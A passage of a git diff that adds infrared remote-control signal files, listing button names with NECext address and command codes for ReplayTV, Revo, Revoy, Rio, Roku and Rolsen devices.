parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: CURSOR_-_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: CHANNEL_GUIDE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: GUIDE_-_CHANNEL +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: Z_-_RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: Z_-_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: Z_-_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: FAST_FOWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: Z_-_FAST_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: Z_-_FAST_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: Z_-_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: RETURN_TO_LIVE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: Z_-_RETURN_TO_LIVE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: QUICK_SKIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: Z_-_QUICK_SKIP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: INSTANT_REPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: Z_-_INSTANT_REPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: REPLAY_GUIDE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: GUIDE_-_REPLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 29 00 00 00 +# +name: REPLAY_ZONES +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: GUIDE_-_ZONE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: EXP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 +# +name: TV_/_VCR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir b/assets/resources/infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir new file mode 100644 index 000000000..29457e28f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/ReplayTV/Unknown_5000/1,0.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: Jump +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1E 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 20 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 21 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 22 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 23 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 24 00 00 00 +# +name: ReturnToLive +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: SkipAhead +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 26 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 27 00 00 00 +# +name: ReplayGuide +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 28 00 00 00 +# +name: Zones +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2A 00 00 00 +# +name: Input +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir new file mode 100644 index 000000000..6f9067d8e --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Revo/Unknown_Blik/0,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 18 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: SNOOZE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: ALARM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 58 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 59 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir b/assets/resources/infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir new file mode 100644 index 000000000..c3dce1034 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Revoy/Unknown_Revoy2200/0,153.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 03 00 00 00 +# +name: mark +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 04 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 05 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 06 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 08 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 09 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0B 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0C 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0D 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0E 00 00 00 +# +name: clr +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 0F 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 10 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 11 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 12 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 13 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 17 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 1F 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 40 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 41 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 42 00 00 00 +# +name: scf +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 44 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 45 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 46 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 47 00 00 00 +# +name: scb +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 48 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 49 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4C 00 00 00 +# +name: sright +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4D 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 4F 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 50 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 51 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 52 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 53 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 54 00 00 00 +# +name: sleft +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 55 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 56 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5A 00 00 00 +# +name: game +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5C 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5D 00 00 00 +# +name: X_KEY_3d +type: parsed +protocol: NECext +address: 00 99 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir b/assets/resources/infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir new file mode 100644 index 000000000..7e38d5de0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rio/Unknown_Audio/130,19.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 80 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 81 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 82 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 83 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 84 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 85 00 00 00 +# +name: select- +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 86 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 87 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 88 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 89 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8A 00 00 00 +# +name: select+ +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8C 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8D 00 00 00 +# +name: KEY_CANCEL +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 8E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 90 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 91 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 92 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 93 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 94 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 95 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 96 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 99 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9A 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9C 00 00 00 +# +name: KEY_LIST +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9E 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 82 13 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir b/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir new file mode 100644 index 000000000..6f685193d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Netflix/190,239.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 00 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 01 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 02 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 03 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 04 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 05 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 06 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 07 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: BE EF 00 00 +command: 08 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir new file mode 100644 index 000000000..50dda8840 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Roku/Unknown_Soundbridge/111,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 10 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 11 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 12 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 13 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 14 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 16 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 17 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 1B 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 1C 00 00 00 +# +name: add +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 1D 00 00 00 +# +name: shuffle +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 1E 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 40 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 41 00 00 00 +# +name: bright +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 42 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 43 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 44 00 00 00 +# +name: user1 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 45 00 00 00 +# +name: user2 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 46 00 00 00 +# +name: user3 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 47 00 00 00 +# +name: user4 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 48 00 00 00 +# +name: user5 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 49 00 00 00 +# +name: user6 +type: parsed +protocol: NECext +address: 6F 00 00 00 +command: 4A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir new file mode 100644 index 000000000..ebb3e4bea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_DK5A/1,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: Program +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 02 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: Shift +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: PBC +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0A 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: Goto +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0E 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: A-B +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: P/N +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 16 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: VocalAssist +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 40 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 41 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 42 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 43 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 44 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 45 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 48 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4E 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 50 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 51 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 52 00 00 00 +# +name: Echo+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: Step +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: Echo- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 58 00 00 00 +# +name: Resume +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir b/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir new file mode 100644 index 000000000..95365cb0d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Rolsen/Unknown_K10B-C1/14,14.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 07 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 0A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 0B 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 0E 0E 00 00 +command: 0C 00 00 00 +# +name: 